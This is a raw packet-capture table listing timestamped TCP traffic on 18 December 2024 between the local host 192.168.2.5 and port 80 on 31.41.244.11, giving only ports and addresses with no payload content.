Dec 18, 2024 15:22:12.550344944 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.551228046 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.551295996 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.551297903 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.551382065 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.552398920 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.552463055 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.552773952 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.552853107 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.553585052 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.553695917 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.553734064 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.553777933 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.554701090 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.554723024 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.554759979 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.554759979 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.555732965 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.555757999 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.555810928 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.555810928 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.556598902 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.556654930 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.556698084 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.556760073 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.557634115 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.557683945 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.557802916 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.557883978 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.558708906 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.558804035 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.558831930 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.558940887 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.559778929 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.559829950 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.559859991 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.559947014 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.560967922 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.561012030 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.561038971 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.561187029 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.561984062 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.562027931 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.562117100 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.562160969 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.563057899 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.563174009 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.563241959 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.564249039 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.564481974 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.564580917 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.565181971 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.565330029 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.565391064 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.566288948 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.566351891 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.566438913 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.567347050 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.567397118 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.567397118 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.567457914 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.567512035 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.568408966 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.568489075 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.704432964 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.704478025 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.704706907 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.704706907 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.704754114 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.704790115 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.704901934 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.704901934 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.705676079 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.705784082 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.705848932 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.705928087 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.706882000 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.706952095 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.706979036 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.707087994 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.707993031 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.708044052 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.708106995 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.708239079 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.708986998 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.709022045 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.709083080 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.709083080 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.709950924 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.710007906 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.710077047 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.710171938 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.711174011 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.711227894 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.711278915 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.711278915 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.712161064 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.712194920 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.712234020 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.712271929 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.713435888 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.713474989 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.713574886 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.713574886 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.714345932 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.714416027 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.714453936 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.714471102 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.715450048 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.715537071 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.715576887 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.715615034 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.716567039 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.716650963 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.716689110 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.716870070 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.717560053 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.717616081 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.717634916 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.717700958 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.718656063 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.718693018 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.718741894 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.719770908 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.719808102 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.719831944 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.719902039 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.720840931 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.720900059 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.721072912 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.721158981 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.723292112 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.723360062 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.723367929 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.723433018 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.723797083 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.723834038 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.723876953 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.723876953 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.724554062 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.724602938 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.724612951 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.724654913 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.725512981 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.725600004 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.725621939 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.725677967 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.726484060 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.726537943 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.726588011 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.726588011 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.727391958 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.727446079 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.727452040 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.727564096 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.728374958 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.728427887 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.728540897 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.728540897 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.729998112 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.730099916 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.730168104 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.730168104 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.730545998 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.730654955 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.730717897 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.730792046 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.731565952 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.731686115 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.731760979 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.731899977 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.732635975 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.732688904 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.732851982 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.732985020 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.733808994 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.733850956 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.733855009 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.733907938 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.734921932 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.734935999 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.734968901 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.735833883 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.735924959 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.735924959 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.736129045 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.736926079 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.737025023 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.737034082 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.737071991 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.738285065 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.738384962 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.738404989 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.738442898 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.739418983 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.739480019 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.739526987 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.739526987 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.740403891 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.740449905 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.740458012 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.740487099 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.741436958 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.741486073 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.741554976 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.741619110 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.742357016 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.742423058 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.742424011 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.742588997 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.743408918 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.743470907 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.743618965 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.743684053 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.744481087 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.744537115 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.744544029 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.744710922 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.745568991 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.745621920 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.745651007 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.745731115 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.746690989 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.746867895 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.747220993 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.748334885 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.748471022 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.748538971 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.749779940 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.749842882 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.749870062 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.750159025 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.750634909 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.750736952 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.750756979 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.750777960 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.751342058 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.751360893 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.751410961 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.751411915 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.752321959 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.752383947 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.752410889 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.752561092 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.753400087 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.753459930 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.753467083 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.753621101 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.754266977 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.754349947 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.754518032 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.754590988 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.755353928 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.755440950 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.755527973 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.755583048 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.756397009 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.756459951 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.756479025 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.756601095 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.757441044 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.757507086 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.757560968 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.757606983 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.758543015 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.758641005 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.758642912 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.758696079 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.759685040 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.759748936 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.759778976 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.759825945 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:12.760756016 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:12.760807991 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.008491039 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008507967 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008522987 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008537054 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008553028 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008569002 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008585930 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008600950 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008615017 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008627892 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008649111 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008660078 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008672953 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008686066 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008697987 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008708954 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008709908 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.008709908 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.008709908 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.008722067 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008733034 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008744955 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.008752108 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008758068 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008769989 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008790970 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008802891 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008816004 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008825064 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.008825064 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.008826971 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008840084 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.008841038 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008852959 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008865118 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008877993 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008889914 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008900881 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008910894 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.008910894 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.008910894 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.008913040 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008950949 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.008953094 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008965015 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008976936 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.008989096 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009001017 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009010077 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009010077 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009013891 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009027958 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009032011 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009041071 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009052038 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009052992 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009063959 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009076118 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009088039 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009100914 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009110928 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009135962 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.009138107 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009138107 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009138107 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.009150028 CET	80	49910	31.41.244.11	192.168.2.5
